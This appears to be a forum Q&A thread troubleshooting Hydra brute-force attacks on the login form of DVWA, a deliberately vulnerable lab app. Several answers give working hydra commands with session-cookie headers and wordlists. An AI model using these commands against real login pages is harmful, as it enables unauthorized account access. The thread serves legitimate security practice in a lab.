Why does Hydra return 16 valid passwords when none are valid?

Question

I've been playing around with Hydra and DVWA and I've hit a bit of a snag - Hydra responds letting me know that the first 16 passwords in my password list are correct when none of them are.

I assume this is a syntax error, but I'm not sure if anyone has seen this before. I've followed several tutorials with no luck so I'm hoping someone where can help.

Syntax :

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

Output

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-05 22:30:51
[DATA] 16 tasks, 1 server, 815 login tries (l:1/p:815), ~50 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.88.196   login: admin   password: adrianna
[STATUS] attack finished for 192.168.88.196 (waiting for children to finish)
[80][www-form] host: 192.168.88.196   login: admin   password: adrian
[80][www-form] host: 192.168.88.196   login: admin   password: aerobics
[80][www-form] host: 192.168.88.196   login: admin   password: academic
[80][www-form] host: 192.168.88.196   login: admin   password: access
[80][www-form] host: 192.168.88.196   login: admin   password: abc
[80][www-form] host: 192.168.88.196   login: admin   password: admin
[80][www-form] host: 192.168.88.196   login: admin   password: academia
[80][www-form] host: 192.168.88.196   login: admin   password: albatross
[80][www-form] host: 192.168.88.196   login: admin   password: alex
[80][www-form] host: 192.168.88.196   login: admin   password: airplane
[80][www-form] host: 192.168.88.196   login: admin   password: albany
[80][www-form] host: 192.168.88.196   login: admin   password: ada
[80][www-form] host: 192.168.88.196   login: admin   password: aaa
[80][www-form] host: 192.168.88.196   login: admin   password: albert
[80][www-form] host: 192.168.88.196   login: admin   password: alexander
1 of 1 target successfuly completed, 16 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-05 22:30:51

EDIT

I was successful in brute forcing the admin credentials. Once I had authenticated to DVWA I needed to find the cookie information (easily done via your browser or Burp Suite). Once I had the cookie information I issued the following command which worked.

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security;low;PHPSESSID=<value for PHP SESSID cookie"

Answer 1

Same problem happened to me when I was playing with DVWA. The reason is that you're trying to brute-force YOUR_SERVER/dvwa/vulnerabilities/brute/index.php which needs authentication. Try to visit that page in your browser and you'll be prompted to enter a username and a password (different form from the one you're trying to brute-force)

So while you're trying to brute-force this:

Hydra is actually "seeing" this:

On the second form you won't get the message "Username and/or password incorrect.", which you told Hydra to use to differentiate between failed and successful logins. Hydra doesn't see that failed login message, so it's assuming that the login was successful.

So you need to login using a browser, get the session cookie (by default, PHPSESSID) , and feed it to Hydra, and then Hydra will be able to "see" the first form.

Supposedly, you can set the cookie in the HTTP headers in Hydra by doing H=Cookie:NAME=VALUE or pointing Hydra to a file which sets the cookie by doing C=/path/to/file. Unfortunately, non of these worked for me.

After getting frustrated, I ended up commenting Line: 5 (dvwaPageStartup) in the file /dvwa/vulnerabilities/brute/index.php, which allowed Hydra to see the actual vulnerable login form.

Answer 2

This is what worked for me:

hydra 192.168.56.2 -l admin -P /home/user/Downloads/pass.txt http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=n5ggv5f2b3vcrl9fe15nqu6v95"

Answer 3

It seems that Hydra is very unforgiving when it comes down to syntax. You can use the "URL like" format to specify the module, host and path.

It took me a while to get there, but this is what worked for me (hackme is the host):

hydra -V -l smithy -P /usr/share/wordlists/rockyou.txt "http-get-form://hackme/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

Edit April 2015

Seems like they've changed it and the above format no longer works. However, this is accepted:

hydra hackme -V -l smithy -P /usr/share/wordlists/rockyou.txt http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

The gotcha that I fell for was spending so long in debugging that my PHP Session ID had timed out. Once I'd refreshed this it started working.

The other gotcha was when I was debugging using Wireshark - I was taking the first HTTP request and wondered why the username and password parameters weren't passed. It appears that Hydra makes a HTTP request to the URL without parameters first.